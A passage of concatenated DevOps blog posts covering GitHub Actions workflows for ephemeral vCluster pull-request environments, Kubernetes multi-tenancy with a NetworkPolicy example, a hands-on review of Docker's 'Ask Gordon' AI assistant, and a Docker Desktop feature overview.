      # Step 1: Checkout PR Code
      - name: Checkout PR Code
        uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      # Step 2: Set up Go
      - name: Set up Go
        uses: actions/setup-go@v4
        with:
          go-version: '1.22.5'
      # Step 3: Set up ko
      - name: Set up ko
        uses: ko-build/setup-ko@v0.6
        with:
          version: v0.14.1
      # Step 4: Log in to Docker Hub
      - name: Log in to Docker Hub
        env:
          KO_DOCKER_REPO: docker.io/saiyam911
        run: |
          echo "${{ secrets.DOCKER_PASSWORD }}" | ko login docker.io --username ${{ secrets.DOCKER_USERNAME }} --password-stdin
      # Step 5: Build and Push Image
      - name: Build and Push Image
        env:
          KO_DOCKER_REPO: docker.io/saiyam911/vcluster-demo
        run: |
          cd app
          export IMAGE_TAG=sha-$(git rev-parse --short HEAD)
          echo "image_deploy_tag=docker.io/saiyam911/vcluster-demo:$IMAGE_TAG" >> $GITHUB_ENV
          ko build --bare -t $IMAGE_TAG
      # Step 6: Generate Deployment Manifest
      - name: Generate Deployment Manifest
        uses: cuchi/jinja2-action@v1.1.0
        with:
          template: tmpl/deploy.j2
          output_file: deploy/deployment.yaml
          strict: true
          variables: |
            image_deploy_tag=${{ env.image_deploy_tag }}
            ingress_tag=pr${{ github.event.pull_request.number }}.vcluster.tech
      # Step 7: Install vCluster CLI
      - name: Install vCluster CLI
        uses: loft-sh/setup-vcluster@main
      # Step 8: Login to vCluster Platform
      - name: Login to vCluster Platform instance
        env:
          LOFT_URL: ${{ secrets.VCLUSTER_PLATFORM_URL }}
          ACCESS_KEY: ${{ secrets.VCLUSTER_ACCESS_KEY }}
        run: |
          vcluster platform login $LOFT_URL --access-key $ACCESS_KEY
      # Step 9: Create vCluster for the PR
      - name: Create A vCluster
        env:
          NAME: pr-${{ github.event.pull_request.number }}
        run: |
          vcluster platform create vcluster $NAME --project default --template my-template --link "Preview=http://pr${{ github.event.pull_request.number }}.vcluster.tech"
      # Step 10: Deploy to vCluster
      - name: Deploy Application to vCluster
        run: |
          kubectl apply -Rf deploy/
      # Step 11: Test Application with curl
      - name: Test Application
        run: |
          sleep 10
          curl --retry 5 --retry-delay 10 http://pr${{ github.event.pull_request.number }}.vcluster.tech
```

# **Step 3: Cleanup Workflow**

Once the PR is merged or the label is removed, the ephemeral vCluster is deleted.

**File: .github/workflows/cleanup.yml**

```plaintext
name: Clean Up vCluster
```

```plaintext
on:
  pull_request:
    types: [closed, unlabeled]jobs:
  cleanup:
    if: (github.event.action == 'closed' && github.event.pull_request.merged == true) || github.event.label.name == 'test'
    runs-on: ubuntu-latest    steps:
      # Step 1: Install vCluster CLI
      - name: Install vCluster CLI
        uses: loft-sh/setup-vcluster@main
      # Step 2: Login to vCluster Platform
      - name: Login to vCluster Platform instance
        env:
          LOFT_URL: ${{ secrets.VCLUSTER_PLATFORM_URL }}
          ACCESS_KEY: ${{ secrets.VCLUSTER_ACCESS_KEY }}
        run: |
          vcluster platform login $LOFT_URL --access-key $ACCESS_KEY
      # Step 3: Delete vCluster
      - name: Delete vCluster
        env:
          NAME: pr-${{ github.event.pull_request.number }}
        run: |
          vcluster platform delete vcluster $NAME --project default
```

# **How It Works**

A developer creates a PR to do the feature changes.

![](https://miro.medium.com/v2/resize:fit:1400/1*1uaKcD3j2BEFxAjFx94xpw.png align="left")

‎With a small change the developer has raised a PR and now needs to add a `test` label.

![](https://miro.medium.com/v2/resize:fit:1400/1*NJY6Yhvx9jWTpd8InHVfUA.png align="left")

As soon as the label is added the GitHub actions kicks off

![](https://miro.medium.com/v2/resize:fit:1400/1*4xOScOS3C083EI49efveYw.png align="left")

In the vCluster platform cloud instance you will be able to see the cluster getting created and the application will be deployed.

![](https://miro.medium.com/v2/resize:fit:1400/1*fOeIDW66-oAs0N7zlH4iKw.png align="left")

The Action is completed and `pr14.vcluster.tech` is created as part of ingress.

![](https://miro.medium.com/v2/resize:fit:1400/1*PSpkrDEWWsw_c0xh_PXKOQ.png align="left")

The application is accessible at http://pr&lt;PR\_NUMBER&gt;.vcluster.tech.

As you can see the latest changes made by the developer are deployed.

![](https://miro.medium.com/v2/resize:fit:1400/1*mC64loxZ-qY9NY--iahWrA.png align="left")

**Cleanup:**

Upon PR merge or label removal, the ephemeral vCluster is automatically deleted.

![](https://miro.medium.com/v2/resize:fit:1400/1*rXX4Ktak7fGIYJL0XNLhGw.png align="left")

After merging, the cleanup action is triggered, which will clear the virtual cluster.

# **Conclusion**

Ephemeral PR environments using vCluster simplify testing, reduce resource usage, and provide a seamless developer experience. By combining vCluster with GitHub Actions, you can achieve an automated and efficient workflow for testing PRs.

Check out the [demo repository](https://github.com/saiyam1814/vcluster-demo) and give it a try! 🚀

Let me know your thoughts or if you face any challenges while implementing this.

[  
](https://saiyampathak.medium.com/?source=post_page---post_author_info--798e98fd46cd---------------------------------------)

---

# Multi tenancy in 2025 and beyond

- Canonical: https://blog.kubesimplify.com/multi-tenancy-in-2025-and-beyond
- Published: 2025-03-12
- Summary: Multi-tenancy in Kubernetes has been an ongoing challenge for organizations looking to optimize their cloud-native infrastructure. Over the years, the appro

Multi-tenancy in Kubernetes has been an ongoing challenge for organizations looking to optimize their cloud-native infrastructure. Over the years, the approach to multi-tenancy has evolved from simple namespace isolation to virtual clusters and, more recently, full-fledged internal Kubernetes platforms (IKPs) that enable shared platform stacks across teams.

With Kubernetes adoption continuing its upward trend, the real challenge for organizations today is not just adopting Kubernetes but managing it at scale. The widespread cluster sprawl, where companies create separate clusters for each team, environment, or workload, has led to escalating operational complexity and rising costs. According to the CNCF, over 70% of organizations report Kubernetes over-provisioning as a major source of cloud spend. This makes efficient multi-tenancy a necessity rather than a luxury.

Let’s explore how shared platform stacks and internal Kubernetes platforms are shaping the future of multi-tenancy in 2025.

![](https://miro.medium.com/v2/resize:fit:1400/1*9x7xmmr7BmIka1VWp-nYUw.png align="left")

# **What is Multi-Tenancy in Kubernetes?**

Multi-tenancy means dividing a Kubernetes cluster into multiple isolated environments so that different teams or applications can share infrastructure while maintaining security, autonomy, and fair resource usage.

To understand this better, let’s take an analogy where you are looking for an accommodation:

* Renting an entire house gives you full control but comes with high maintenance costs — similar to having a dedicated Kubernetes cluster per team or application.
    
* Renting an apartment in a shared building gives you personal space but reduces overhead, as maintenance is handled collectively where you have shared access to facilities like elevators, swimming pool, park etc., this is how multi-tenancy works in Kubernetes.
    

Instead of spinning up an entirely new Kubernetes cluster for every team, organization, or workload, you partition a single cluster into multiple isolated environments.

The three key pillars of true multi-tenancy are:

1. Isolation — Ensuring security boundaries between tenants.
    
2. Fair Resource Usage — Preventing noisy neighbor issues.
    
3. Tenant Autonomy — Allowing teams to self-manage workloads independently.
    

![](https://miro.medium.com/v2/resize:fit:1400/1*6MGIiOJsO-oQdFNH6Tx8BQ.png align="left")

# **Traditional Multi-Tenancy Approaches & Their Limitations**

Natively within Kubernetes, there is a concept of namespaces, which is useful as many resources can be scoped to a namespace to create some level of isolation.

* Workload isolation can be achieved to a certain extent by using pod security standards and preventing privileged access with custom policy engines like Kyverno or jsPolicy. Additionally, you can define a well-structured network policy to restrict traffic to and from pods. When different teams have only namespace-level isolation, you may want to prevent them from communicating with each other while still allowing them to interact with the Kubernetes API. An example of this scenario can be as follows:
    

```plaintext
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-policy
  namespace: tenant-1
spec:
  policyTypes:
    - Egress
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
            - 100.64.0.0/10
            - 127.0.0.0/8
            - 10.0.0.0/8
            - 172.16.0.0/12
            - 192.168.0.0/16
        - namespaceSelector:
            matchLabels:
              tenant: tenant-1
    - ports:
        - port: 53
          protocol: UDP
        - port: 53
          protocol: TCP
    - ports:
        - port: 443
        - port: 8443
      to:
        - ipBlock:
          cidr: ${KUBE_API}/32
```

* For managing resource usage, you can use Kubernetes objects like ResourceQuota to define the limit of resources that can be created within a cluster. You can also add LimitRange to set CPU and memory limits.
    

While these namespace-level resources help create some isolation, achieving true multi-tenancy is still challenging due to several factors:

* It becomes difficult as the number of tenants increases.
    
* How do you distribute different kubeconfigs per team?
    
* How is cluster-level resource access, such as CRDs, managed?
    
* Is resource sharing still an issue?
    
* How do you handle different cluster versions?
    
* What about different versions of an application?
    
* There is still a single control plane and a single state for the cluster.
    

Yes, multi-tenancy is hard if we rely solely on native Kubernetes constructs. Even with these measures, automating the entire process instead of manually defining everything is a major challenge.

# **How vCluster Enables True Multi-Tenancy**

vCluster is an open-source tool that helps you create virtual Kubernetes clusters, each with its own control plane components and cluster state, in an automated way.

When you create a virtual machine in your cloud account, you gain full access to that virtual machine, but it is actually a slice of physical hardware in a data center. Similarly, a virtual cluster is a slice of a Kubernetes cluster, you have full access to it and complete ownership, but ultimately, it is still a part of a larger Kubernetes cluster.

How does vCluster work?

![](https://miro.medium.com/v2/resize:fit:1400/1*TOkTbREcaM6HQR0-6l3t4w.png align="left")

Instead of managing multiple Kubernetes clusters, you can now have a single Kubernetes cluster and use the vCluster CLI to create virtual clusters. These virtual clusters can reuse the host cluster’s resources, such as Cert Manager, NGINX Ingress Controller, Vault, and more. Each virtual cluster will have its own independent kubeconfig file, allowing teams to deploy their workloads independently. This approach is more secure than namespace-based isolation because each virtual cluster has its own control plane and state (with options like SQLite, embedded etcd, or external etcd)

![](https://miro.medium.com/v2/resize:fit:1400/1*ISHQkPJcYg8MSd_raDDyEQ.png align="left")

With vCluster Enterprise, organizations can also gain features like multi-cluster tenancy, enhanced security policies, and automated tenancy provisioning.

# **The Evolution of Multi-Tenancy: Shared Platform Stacks & Internal Kubernetes Platforms (IKPs)**

## **1\. Shared Platform Stack: The Key to Efficiency**

![](https://miro.medium.com/v2/resize:fit:1400/1*s_p_j5GoX0rb77yOf_DG2A.png align="left")

Imagine three teams: A, B, and C, each needing their own Kubernetes cluster. As administrators, we create three separate Kubernetes clusters. By default, a newly created cluster only runs the essential components needed for Kubernetes itself, such as the control plane components, the cloud controller manager etc.

Now, if all three teams need to deploy applications with HTTPS support, the typical approach is to install an Ingress Controller and cert-manager. Each team then creates Deployments, Services, Ingress, and Certificate objects. However, since these components need to be installed on every cluster separately, this results in duplicate resources.

This duplication problem also exists in multi-tenancy. One of the biggest challenges in Kubernetes multi-tenancy is the shared platform stack. Ideally, we should be able to reuse resources from the host cluster instead of installing cert-manager and an Ingress Controller in every new cluster.

The easiest way to solve this problem is by using virtual clusters. With vCluster, you can define in the cluster configuration file which resources should be synced from the host cluster, allowing multiple tenants to share platform resources. This optimizes resource utilization and eliminates unnecessary duplication.

This concept of a shared platform stack in a multi-tenant Kubernetes environment using virtual clusters helps organizations efficiently manage resources and is crucial when you are creating an internal Kubernetes platform.

## **2\. Internal Kubernetes Platforms (IKPs)**

We believe that an Internal Developer Platform (IDP) is evolving, with Kubernetes becoming the de facto choice for these platforms. Kubernetes is a technology well-suited for building platforms, and if you are developing an IDP in 2025 and beyond, you will or should be leveraging Kubernetes.

This is why we believe the shift is towards an Internal Kubernetes Platform (IKP), where multi-tenancy will play a crucial role, and vCluster will be at the center.

With vCluster integrated alongside your other cloud-native tooling, you can efficiently provision and manage Kubernetes clusters for your teams, making Kubernetes more accessible while maintaining governance and control.  
IKPs ensure that tenants don’t need to deal with raw Kubernetes, instead, they receive a pre-configured platform tailored to their needs.

We’d love to hear your thoughts on IKPs as well!

# **Future of Multi-Tenancy in Kubernetes**

Organizations are moving towards:

1️⃣ Standardized Shared Platform Stacks — Providing pre-configured Kubernetes environments.  
2️⃣ IKPs for Developer Self-Service — Offering Kubernetes as a managed service within organizations.|  
3️⃣ vCluster & Virtualized Control Planes — Reducing cluster sprawl while maintaining autonomy.

Multi-tenancy is no longer just about namespaces or virtual clusters — it’s about creating an internal Kubernetes ecosystem that allows teams to be productive while keeping infrastructure efficient and manageable.

Throughout March, we’re hosting a Multi-Tenancy March series, featuring webinars, deep dives, and hands-on sessions to explore best practices for Kubernetes multi-tenancy. We will be conducting a hands-on workshop on March 6th, where we will demonstrate this in action, and you’ll have the opportunity to try it out alongside us.

[Register for the webinar here](https://www.vcluster.com/event/seamless-kubernetes-multi-tenancy-with-vcluster-and-a-shared-platform-stack?__hstc=107455133.24d76b7b89d28afebee5af7771225ac7.1741672016640.1741672016640.1741672016640.1&__hssc=107455133.2.1741672016640&__hsfp=3213767220)

Join the [vCluster Slack](https://slack.loft.sh/) to stay updated!

[  
](https://saiyampathak.medium.com/?source=post_page---post_author_info--8bbed5ba5250---------------------------------------)

---

# Testing Docker AI's \"Gordon\" – How Smart Is It?

- Canonical: https://blog.kubesimplify.com/testing-docker-ais-gordon-how-smart-is-it
- Published: 2025-02-21
- Summary: Testing Docker AI's \"Gordon\" – How Smart Is It?

Docker just launched **"Ask Gordon"**, an AI-powered assistant inside **Docker Desktop 4.38**. It promises to help with troubleshooting, optimizing Dockerfiles, and even generating configurations automatically.

But does it really work? 🤔 In this blog, let’s **put Gordon to the test** with real-world scenarios and see if it’s actually useful

![](/img/blog/testing-docker-ais-gordon-how-smart-is-it/5787a956-6eeb-4b24-b1a8-d919a36f9501.png align="center")

## 🔹 **What is "Ask Gordon"?**

Think of **Gordon** as a **smart AI assistant** built into Docker. Instead of searching the internet or reading documentation, you can ask Gordon questions directly in the **Docker CLI** or **Docker Desktop** **UI**.

For example, if a container crashes, instead of Googling for answers, you can simply ask:

```plaintext
docker ai "Why is my container crashing?"
```

And Gordon will analyze logs and suggest solutions. Pretty cool, right?

Now, let’s test out some scenarios and see if it **actually works**.

## 🔧 **Setting Up Gordon**

Before we test, let’s quickly **enable Gordon**:

1. You need to download Docker Desktop version 4.38 or later. You can download it from [here](https://www.docker.com/products/docker-desktop/).
    
2. This is how you can enable Ask Gordon:
    

\- After signing in to your Docker Account, enable the Docker AI feature:

\- Open the **Settings** view in Docker Desktop.

\- Navigate to **Features in Development**.

\- Check the **Enable Docker AI** checkbox.  
The Docker AI terms of service agreement are displayed. You must agree to the terms before you can enable the feature. Review the terms and select **Accept and enable** to continue.  
\- Select **Apply & restart**

![](/img/blog/testing-docker-ais-gordon-how-smart-is-it/f1bd53df-9084-4462-b6b7-37b636e3065c.png align="center")

You can now chat with Gordon via:

* **CLI** → `docker ai "<your question>"`
    
* **Docker Desktop UI** → Click the ✨ icon in various places
    

Alright, now let’s run some real-world tests.

![](/img/blog/testing-docker-ais-gordon-how-smart-is-it/79810a2b-713b-4d4d-a7da-abe39dffb6b9.png align="center")

Let’s say you click “How do I run Redis“, you will get something like below:

![](/img/blog/testing-docker-ais-gordon-how-smart-is-it/880bec84-8ddd-41ef-a337-96c035b142e7.png align="center")

# 🚀 **Testing Gordon’s Capabilities**

If you are using shell, then you must know these commands.  

![](/img/blog/testing-docker-ais-gordon-how-smart-is-it/e8fc865a-5b7a-42b7-b02c-f9d750a4d3bc.png align="center")

### **🛠 Test 1 : Dockerfile issues**

I asked Gordon to check issues in my Dockerfile:

```dockerfile
#Base image
FROM ubuntu:latest
#Install dependencies
RUN apt-get update && apt-get install -y 
curl 
wget 
python3 
python3-pip 
vim
#Copy application code
COPY . /app
#Set working directory
WORKDIR /app
#Install Python dependencies
RUN pip3 install -r requirements.txt
#Expose application port
EXPOSE 8080
#Start the application
CMD ["python3", "app.py"]
```

Here comes the output:  

```plaintext
saloni@Salonis-MacBook-Air ~ % docker ai

>>> check my dockerfile for issues                                              

    • Sending Dockerfile ✔️

 Your Dockerfile looks functional and should work for most basic use cases. 
However, there are a few potential issues and improvements you can consider:


  ### Issues and Suggestions
    1. Using latest tag for the base image

Using ubuntu:latest is not recommended for production environments because 
the latest tag can change over time, potentially introducing breaking changes. 
It's better to specify a specific version, e.g., ubuntu:20.04.
2. Combining RUN commands

  The RUN command for installing dependencies can be optimized to reduce the number 
of layers in the image. 
For example:
  

         RUN apt-get update && apt-get install -y \
            curl \
            wget \
            python3 \
            python3-pip \
            vim && \
            apt-get clean && rm -rf /var/lib/apt/lists/*

  This ensures that temporary files created during the installation process are cleaned up, 
  reducing the image size.

  3. No explicit Python version

  The python3 and python3-pip packages will install the default Python version for the 
Ubuntu base image. If your application requires a specific Python version, you should 
explicitly install it.

 4. No non-root user

  The container runs as the root user by default, which can be a security risk. Consider 
adding a non-root user to run the application:
RUN useradd -m appuser
USER appuser

5. No health check

 Adding a HEALTHCHECK instruction can help monitor the health of the container. For example:
HEALTHCHECK --interval=30s CMD curl --fail http://localhost:8080 || exit 1

6. No .dockerignore file
Without a .dockerignore file, unnecessary files (e.g., .git, local environment files) might 
be copied into the image. Create a .dockerignore file to exclude such files:

 .git
  pycache
  *.pyc
   .env

  7. Hardcoded port

  The application exposes port 8080, but this might not be configurable. Consider making the 
   port configurable via an environment variable.
  
  8. No entrypoint script
  If your application requires environment setup or initialization, consider using an 
  entrypoint script instead of directly running the application in the CMD.

  ### Final Optimized Dockerfile
  Here’s an optimized version of your Dockerfile:

   # Base image
    FROM ubuntu:20.04

  # Install dependencies
    RUN apt-get update && apt-get install -y \
        curl \
        wget \
        python3 \
        python3-pip \
        vim && \
        apt-get clean && rm -rf /var/lib/apt/lists/*

  # Add a non-root user
    RUN useradd -m appuser
    USER appuser

  # Copy application code
    COPY . /app
 # Set working directory
    WORKDIR /app
 # Install Python dependencies
    RUN pip3 install --no-cache-dir -r requirements.txt
 # Expose application port
    EXPOSE 8080
 # Add health check
    HEALTHCHECK --interval=30s CMD curl --fail http://localhost:8080 || exit 1
 # Start the application
    CMD ["python3", "app.py"]

Let me know if you need further clarification!
```

So it gave us the missing pieces form my Dockerfile and gives the optimised Dockerfile. This is neat as you can directly do this in your cli form where you are running the docker commands.

---

### **🛠 Test 2 : Fixing a Broken Container**

#### **Scenario:**

I have a **Node.js** container, but when I start, it crashes immediately.

```plaintext
echo 'console.log(require("express"))' > app.js
cat <<EOF > Dockerfile
FROM node:18
WORKDIR /app
COPY app.js .
CMD ["node", "app.js"]
EOF
docker build -t crash-node .
```

```plaintext
docker run --name crash-node -d crash-node
```

```plaintext
docker ps -a | grep crash
9ef75103d838   crash-node                            "docker-entrypoint.s…"   13 seconds ago   Exited (1) 12 seconds ago                               crash-node
```

#### **Now let’s ask Gordon on why my container is failing**

```plaintext
docker ai "Why is my container crash-node crashing?"
```

#### **Response:**

```plaintext
To diagnose why your container named crash-node is crashing, you can follow these steps:
  
    1. Check Container Logs:
  Use the docker logs command to view the logs of the crashing container. This can provide insights into 
  any errors or issues that occur just before the crash.
  
          docker logs crash-node
  
    2. Inspect Container Status:
  Use docker ps -a to check the status of the container. This can help determine if the container is 
  exiting with a specific error code.
  
          docker ps -a
  
    3. Use Docker Compose Logs (if applicable):
  If you are using Docker Compose, you can use the following command to view logs for all services, which 
  might give you more context:
  
          docker compose logs crash-node
  
    4. Check Resource Constraints:
  Ensure that your container is not running out of memory or other resources. You can inspect resource 
  usage with:
  
          docker stats crash-node
  
    5. Review Docker Daemon Logs:
  If the container logs do not provide enough information, you can check the Docker daemon logs for any 
  system-level issues. On Linux, you can use:
  
          journalctl -u docker.service
  
    6. Inspect Dockerfile and Configuration:
  Review your Dockerfile and any configuration files (like docker-compose.yml) for potential 
  misconfigurations or errors.
  
    7. Check for Known Issues:
  Refer to the Docker known issues 
  (https://docs.docker.com/desktop/troubleshoot-and-support/troubleshoot/known-issues/) to see if there 
  are any related issues that might be affecting your container.
  
  By following these steps, you should be able to gather more information about why your crash-node 
  container is crashing. If you find specific error messages or logs, feel free to share them for more 
  targeted assistance.
```

Let’s check the logs

```plaintext
docker logs crash-node
node:internal/modules/cjs/loader:1143
  throw err;
  ^

Error: Cannot find module 'express'
Require stack:
- /app/app.js
    at Module._resolveFilename (node:internal/modules/cjs/loader:1140:15)
    at Module._load (node:internal/modules/cjs/loader:981:27)
    at Module.require (node:internal/modules/cjs/loader:1231:19)
    at require (node:internal/modules/helpers:177:18)
    at Object.<anonymous> (/app/app.js:1:13)
    at Module._compile (node:internal/modules/cjs/loader:1364:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1422:10)
    at Module.load (node:internal/modules/cjs/loader:1203:32)
    at Module._load (node:internal/modules/cjs/loader:1019:12)
    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:128:12) {
  code: 'MODULE_NOT_FOUND',
  requireStack: [ '/app/app.js' ]
}

Node.js v18.20.7
```

Now, let’s ask Gordon again

```plaintext
docker ai "docker logs crash-node
node:internal/modules/cjs/loader:1143
  throw err;
  ^

Error: Cannot find module 'express'
Require stack:
- /app/app.js
    at Module._resolveFilename (node:internal/modules/cjs/loader:1140:15)
    at Module._load (node:internal/modules/cjs/loader:981:27)
    at Module.require (node:internal/modules/cjs/loader:1231:19)
    at require (node:internal/modules/helpers:177:18)
    at Object.<anonymous> (/app/app.js:1:13)
    at Module._compile (node:internal/modules/cjs/loader:1364:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1422:10)
    at Module.load (node:internal/modules/cjs/loader:1203:32)
    at Module._load (node:internal/modules/cjs/loader:1019:12)
    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:128:12) {
  code: 'MODULE_NOT_FOUND',
  requireStack: [ '/app/app.js' ]
}
```

```plaintext
The error indicates that the express module is missing in your Node.js application. This happens 
  because the express package is not installed in your Docker container
```

The main point here is that express is missing!!

so we can just update the Dockerfile as below

```plaintext
FROM node:18
WORKDIR /app
COPY app.js .
RUN npm install express
CMD ["node", "app.js"]
```

Now when you build, run again and check the logs you will see the logs.

```plaintext
docker logs 154d3d2759a8
[Function: createApplication] {
  application: {
    init: [Function: init],
    defaultConfiguration: [Function: defaultConfiguration],
    lazyrouter: [Function: lazyrouter],
    handle: [Function: handle],
    use: [Function: use],
    route: [Function: route],
    engine: [Function: engine],
    param: [Function: param],
    set: [Function: set],
    path: [Function: path],
    enabled: [Function: enabled],
    disabled: [Function: disabled],
    enable: [Function: enable],
    disable: [Function: disable],
    acl: [Function (anonymous)],
|
|
|
.......
```

All this is done while staying in the same CLI and not going anywhere else which is the coolest part IMO.

---

# **Conclusion: Is Gordon Worth Using?**

I have used Gordon for various purposes, in the end its the fine tuned and trained AI agent on Docker documentation which is a good thing as it will have the latest information as compared to other LLM’s out there. But for the simple errors, it should just give smaller outputs with the fix and then explain when the user asks to explain the action. It’s in beta and new so we can excuse for the generic answers it gives at times but if we want people to not use chatgpt or similar LLM’s then it should provide concise answers, to the point issues and also like github copilot it should be able to provide instant feedback when we are actually typing in commands.

What do you think about Docker Gordon? Are you using it already?

If you use Docker Desktop, definitely give Gordon a shot. It won’t replace a seasoned engineer, but it can make life a bit easier, especially for debugging and automation.

💡 Try it out and let me know your thoughts! What’s the weirdest question you asked Gordon? 😆👇

---

# Understanding Docker Desktop: All-in-One Platform for Containers

- Canonical: https://blog.kubesimplify.com/understanding-docker-desktop-all-in-one-platform-for-containers
- Published: 2025-01-31
- Summary: This is a blog on docker desktop which discusses about how to use it's features

In modern application development, containers have revolutionized how developers build, ship, and run applications. Among the tools facilitating this revolution, **Docker Desktop** is an essential tool for developers looking to streamline containerized application workflows. Whether you are just starting your container journey or are a seasoned pro, Docker Desktop offers a user-friendly way to manage and work with containers.

### What is Docker Desktop?

Docker Desktop is a cross-platform application available for Windows, macOS, and Linux that provides an easy-to-use interface to manage your Docker containers and images. It combines Docker Engine, Docker CLI, Docker Compose, and Kubernetes (optional) into a unified solution, enabling seamless development and testing of containerized applications on your local machine.

For installation of Docker Desktop, you can refer to my previous post.  
[https://blog.kubesimplify.com/docker-captain-journey](https://blog.kubesimplify.com/docker-captain-journey)

### Key Features of Docker Desktop

#### 1. **Cross-Platform Support**

Docker Desktop works on Windows, macOS, and Linux, making it a versatile tool for developers across different operating systems. It automatically configures and integrates with the host system, eliminating the need for complex setup processes.

#### 2. **Built-in Kubernetes Support**

Docker Desktop includes a lightweight, single-node Kubernetes cluster for developers working with Kubernetes. This allows users to deploy, test, and manage Kubernetes workloads locally without needing a separate cluster.

#### 3. **Docker Compose**

With Docker Compose integrated you can define multi-container applications in a simple YAML file and deploy them using a single command. This is particularly useful for microservices architectures.

#### 4. **Resource Controls**

Docker Desktop provides an intuitive interface to allocate system resources like CPU, memory, and disk space for Docker containers, ensuring optimal performance without overloading your machine.

#### 5. **Image Management**

The Image view in the Docker Desktop Dashboard makes it easy to manage container images. You can pull images from Docker Hub, inspect image details, and run images as containers. Additionally, the Dashboard helps you clean up unused images to free up disk space and provides a summary of image vulnerabilities, enabling proactive security management.

#### 6. **Volume Management**

The Volumes view offers a streamlined way to manage Docker volumes. You can create, delete, and inspect volumes, as well as view which containers are using them, all from a centralized interface.

#### 7. **Builds View**

Docker Desktop’s Builds view lets you inspect your build history and manage builders. This includes details of ongoing and completed builds, making it easier to track your workflows.

#### 8. **Notifications and Learning Center**

Stay informed with Docker Desktop’s notification center, which provides updates about new releases, installation progress, and other alerts. The Learning Center offers in-app walkthroughs and resources to help you master Docker quickly.

#### 9. **Quick Search**

Docker Desktop includes a Quick Search feature in the Dashboard, allowing you to locate containers , compose applications, images, volumes, or extensions with ease. For images, it provides options to pull, run, or view documentation, while for containers, you can perform actions like start, stop, or delete directly from the search results.

**10. Docker Scout**

**Docker Scout** is a tool that provides deep insights into container images, helping developers analyze dependencies, identify vulnerabilities, and improve image quality. It integrates seamlessly with Docker workflows, offering actionable recommendations and enabling policy enforcement to ensure secure, efficient, and compliant containerized applications. Perfect for managing your software supply chain!

11. ![](/img/blog/understanding-docker-desktop-all-in-one-platform-for-containers/b0091f36-bf83-4d4c-b01b-6c6058f231a6.png align="center")
    
    **WebAssembly workloads**
    
    **Wasm in Docker** enables running lightweight, fast WebAssembly (Wasm) workloads alongside Linux containers. To use Wasm, enable the **container image store** and turn on the **Enable Wasm** feature in Docker Desktop settings. Docker Desktop installs various Wasm runtimes, like Wasmtime and WasmEdge, to support Wasm workloads
    
    ![](/img/blog/understanding-docker-desktop-all-in-one-platform-for-containers/6de4ead9-faad-4869-bbc5-b6d137e0a2ed.png align="center")
    
    .
    
12. **Docker Extensions**
    
    **Docker Desktop Extensions** are add-ons that enhance Docker Desktop by integrating tools like security scanners, monitoring, and debugging directly into its UI. They simplify workflows, improve productivity, and allow developers to build and share custom extensions. You can explore and install them via the **Docker Extensions Marketplace**.
    
13. **Dev Environments**
    
    A **Dev Environment** in Docker Desktop lets developers quickly set up and share reproducible environments with all tools, dependencies, and configurations. It ensures consistency, simplifies onboarding, and eliminates "it works on my machine" issues, enabling seamless collaboration.
    
14. **Ask Gordon**
    
    **Ask Gordon** is Docker’s AI-powered assistant, currently in Beta, designed to streamline workflows in Docker Desktop and the CLI. It provides contextual, actionable insights by understanding your local setup, including Dockerfiles, containers, and applications. With features like identifying vulnerabilities and optimizing Dockerfiles, Ask Gordon helps make Docker's ecosystem more intuitive and efficient.
    

### Exploring Docker Desktop

#### Docker Desktop Dashboard

The Docker Desktop Dashboard serves as your command center. Here are the key views available:

1. **Containers View**: Provides a runtime view of all your containers and applications, allowing you to manage their lifecycle, inspect logs, and perform other common actions directly from your machine.
    
2. **Images View** displays a list of local images, lets you pull images from Docker Hub, run images as containers, and clean up unused images. If you are logged in, you can also view images shared by your organization on Docker Hub.
    
3. **Volumes View**: Displays Docker volumes, allowing you to easily manage their lifecycle.
    
4. **Builds View**: Shows your build history, ongoing builds, and completed builds.
    

#### Docker Menu

![](/img/blog/understanding-docker-desktop-all-in-one-platform-for-containers/2544292c-d999-4b73-8ba0-9bd0037b1020.png align="center")

### Doing Stuff with Docker Desktop

To do everything within the Docker Desktop, you can enable the terminal form within the Docker Desktop to interact with the host machine.

![](/img/blog/understanding-docker-desktop-all-in-one-platform-for-containers/b9131634-222f-4779-b00c-7dee0280d2cf.png align="center")

## 1. **Building Custom Images**

Let’s say you want to build an image for your python flask application.

Create a simple [`app.py`](http://app.py) as below:

```bash
from flask import Flask

app = Flask(__name__)

@app.route('/')
def home():
    return "Hello, Dockerized Python App!"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
```

### Requirements (`requirements.txt`)

We will have the `Dockerfile` install the dependencies from `requirements.txt`, create a `requirements.txt` file with the following content:

```bash
flask
```

This will ensure that Flask is installed when building the Docker image.

Create a `Dockerfile` to define a custom image:

```plaintext
FROM python:3.9-slim
WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
CMD ["python", "app.py"]
```

Build and run the image:

```plaintext
docker build -t my-python-app .
docker run -p 5001:5000 my-python-app
```

![](/img/blog/understanding-docker-desktop-all-in-one-platform-for-containers/64cd66ef-1f3a-4bfb-9034-1c0f277bfbc7.png align="center")

![](/img/blog/understanding-docker-desktop-all-in-one-platform-for-containers/efd934fe-f96a-4783-a5c7-3057c157ec9f.png align="center")

Then, open your browser and visit \`http://localhost:5001\` to see the output.

![](/img/blog/understanding-docker-desktop-all-in-one-platform-for-containers/f61c78f4-079e-4d63-98a8-e64ce1f18c1a.png align="center")

#### 2. **Using Docker Desktop with Kubernetes:**

Enable Kubernetes in Docker Desktop settings and see the cluster is running and the context is switched to docker-desktop.

![](/img/blog/understanding-docker-desktop-all-in-one-platform-for-containers/d7608ae1-9725-49a7-a4b6-6917a13f3ff6.png align="center")

Then, create a Kubernetes ‘deployment.yaml’:

```plaintext
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  replicas: 2
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx
        ports:
        - containerPort: 80
```

Apply the configuration:

```plaintext
kubectl apply -f deployment.yaml
```

![](/img/blog/understanding-docker-desktop-all-in-one-platform-for-containers/954c83e9-18f4-43ed-b563-86ab0d91e183.png align="center")

Verify the deployment:

```plaintext
kubectl get deployment
kubectl get pods
```

